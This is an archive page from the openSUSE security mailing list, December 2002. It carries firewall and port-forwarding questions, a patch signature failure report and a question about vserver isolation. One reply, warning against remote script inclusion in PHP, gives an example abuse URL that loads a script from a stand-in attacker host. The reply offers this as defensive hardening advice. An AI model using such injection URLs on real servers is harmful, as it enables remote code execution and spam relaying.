December 2002 - openSUSE Security - openSUSE Mailing Lists

[suse-security] List-Unsubscribe
by Francesco Dalla Ca' 02 Dec '02

02 Dec '02

[suse-security] List-Unsubscribe

1 0

Re: [suse-security] mail script scanner
by GentooRulez 02 Dec '02

02 Dec '02

What about cross side scripting. If any of the scripts running on your side allows to name a script url as a parameter that can be hosted on another server, you'll have a problem. Harden your php.ini, setup up safe mode for php, prevent register_globals and double check each script and the way it checks the parameter Example for abuse http://your.host.com/callsite?url=http://attackers.host.com/spammail.php Hope that helps Yours Michael

1 0

Q: SuSE FTP Server broken or hacked?
by Stefan Esser 02 Dec '02

02 Dec '02

Hello, last Friday I installed a fresh SuSE 8.1 from FTP... Now on monday morning I tried to update but always get. Error: Signature check for patch info files failed. Can't load patch information. Looks like either the patch files are broken or were tried to be backdoored. Stefan Esser

5 8

[suse-security] List-Unsubscribe
by Stefan Karner 02 Dec '02

02 Dec '02

[suse-security] List-Unsubscribe

1 0

Re: [suse-security] Q: Customizing SuSE80 FW2 router to run service in internal network with dynamic dial-up
by Using SuSE 02 Dec '02

02 Dec '02

--- Steffen Dettmer <steffen(a)dett.de> wrote: > > SuSE-FW-NO_ACCESS_INT->FWEXT entry > Sorry, I cannot help you with SuSEFirewall (I do not > use it). You > should ask on the mailinglist. I did not find any mailing list at SuSE site more closely related to firewall problems than this one. I don't want to cross-post to other, general lists. > it's not more difficult to build own rules :) I probably have to, even if I really did not want it. As I am starting again, installing sofisticated tools on 200MHz and learn about them will cost me some time. > SuSE has *some* great developers. But I never would > rely on their > buggy scripts. I somehow come to this decision too. I really would like to provide my knowledge foremost about getting third party software to run in SuSE scheme securely, but I'm getting sick of analyzing what's behind, using SDB that is just a lame excuse for its name, incompetent free installation help and commercial support that I don't want to pay for anymore. There will be no sucess of Linux, when commercial distibutors try to steal the market from corporate MS, IBM and Sun, instead of investing the efforts to huge community of active home users, who find out MS XP wants cash everytime they buy new hardware or update buggy system. > > is nothing unusual and there must be someone > outside > > there who already went through this crap. > never saw a really good firewall script, so I build > my own. Which > is also not good but works *for me*. My slight hope for getting help here vanishes as the deadline comes near, so I better learn it too. I'm disgusted. Even Java community that is strongly commercialized and complex has far better user support for anybody knowing what to achieve and just looking for quick solutions thousands of others already implemented. > I would not be surprised if you are correct :) Arrgh, I hate it. > Hum, debian costs even much more time to set up I > think (IMHO). Yes, but I suspect I would accomplish it in the time I've lost with SuSE... > I think they hack to fast the stuff, no design, no > concept, no > use - for me :) I just hate scripts that source (!) > config > files... Not sure about the meaning, you probably talk about quick hacks that may somehow work but don't have long lifecycle. Well, I'm mot against it if it is a good help for common situations without the need for details, but when everybody just wants to sell even basic knowledge like in M$ world, I become irritated. Is this discussion related to security of SuSE? Peter. __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

3 3

Q: Customizing SuSE80 FW2 router to run service in internal network with dynamic dial-up
by Using SuSE 02 Dec '02

02 Dec '02

Hi folks, I'm new here so just point me if my problem was already solved. So, I have Pentium box with updated SuSE 8.0, eth1 card to DSL modem, eth0 to internal network. It acts as masquerading router for all Internet connections from internal network. I don't want it to run any additional services beside SSH, if possible (no DNS, no proxies, etc.). So I configured firewall in YaST2 between ppp0 and eth0; only enabling ssh; allowing traceroute, doing masquerading, protecting all running services, NOT protecting from internal network; no logging options. So far, so good, I can access Internet and I hope to be protected. Now, I want to run webserver on one of the internal computers, that is accessible from Internet. Thus I've registered a domain by free dynamic DNS provider and IP address updated there is the one I've became upon dial-up from provider. I'm running inetd in its standard configuration on router. First, I was intrigued by the fact that although I can ping everything outside, I cannot ping this dyn IP nor my domain (translated to correct IP) from my internal, masqueraded network. Pinging from router works fine. I undeerstand it to be some anti-spoofing feature of FW to protect it from internal network. I surely can access my website with internal IP, but I want to test how it will be accessed from outside. Same situation for ssh the dyn IP or domain (from router ok, from internal network no way). So, I've tried to set FW_TRUSTED_NETS="192.168.0.0/24,icmp" to no avail. Then I also tried to put iptables -A INPUT -i eth1 -s 192.168.0.0/24 -d 192.168.1.1 -j ACCEPT (the destination is internal address of network card connected to modem) into antispoofing section of custom FW script and enable it in configuration, but failed too, as it is probably nonsense anyway. Also, how can I get internal network ping firewall box from outside??? Second, I wanted to "forward" everything coming to firewall from outside on port 80 to reach my webserver in internal network. I know it is a security hole, but I opt for it anyway. Thus I've defined following in configuration: FW_FORWARD_MASQ="0/0,192.168.0.4,tcp,80" Yet I cannot access my website by dyn domain from internal network (what may be related to previous problem). Even more obscure is that I cannot access the site when launching a browser at router too (for ping and ssh it worked there so I suspect this "reverse masquerading" not really functioning). Also, did anybody got webserver with no static IP residing in internal network to response through the SuSE firewall??? Is the kind of configuration I wish possible at all with SuSE8 FW2, or should I rather learn to write iptables manually or get some other firewall/packet filtering? Any help is very appreciated! Peter. __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

4 9

List-Unsubscribe
by james zhu 02 Dec '02

02 Dec '02

朱英志

1 0

vserver and user-mode-linux
by Ralf Ronneburger 01 Dec '02

01 Dec '02

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi everyone, in the german linux-magazine of this month there is a very interesting article on vserver. I like the idea of encapsulating servers as much as possible to avoid harm to the system or to other servers. But as vservers all run with the same kernel - isn't it still posible to harm the kernel and therewith crack the whole system out of a vserver? How about user-mode-linux, is there any posibility to break out of it? If not - wouldn't it be great - one could set up a secure system with iptables and no services at all but vserver or user-mode-linux and then setup enviroments for each purpose needed... There must be some downside to it, isn't there? Best regards, Ralf Ronneburger - ------------------------------------------------------------ Ralf Ronneburger ralf(a)ronneburger.de Prefers to receive encrypted Mail, download public-key from http://www.ronneburger.de/gpg/ralf_ronneburger.asc - ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE96pdQLbWu9MVtJiYRAmFqAJ4mkcZndIxl20N5x/+En7G38unXXACfQlWr yb8p/ymbVL1uoRcuqfgvOrw= =Uut9 -----END PGP SIGNATURE-----

1 0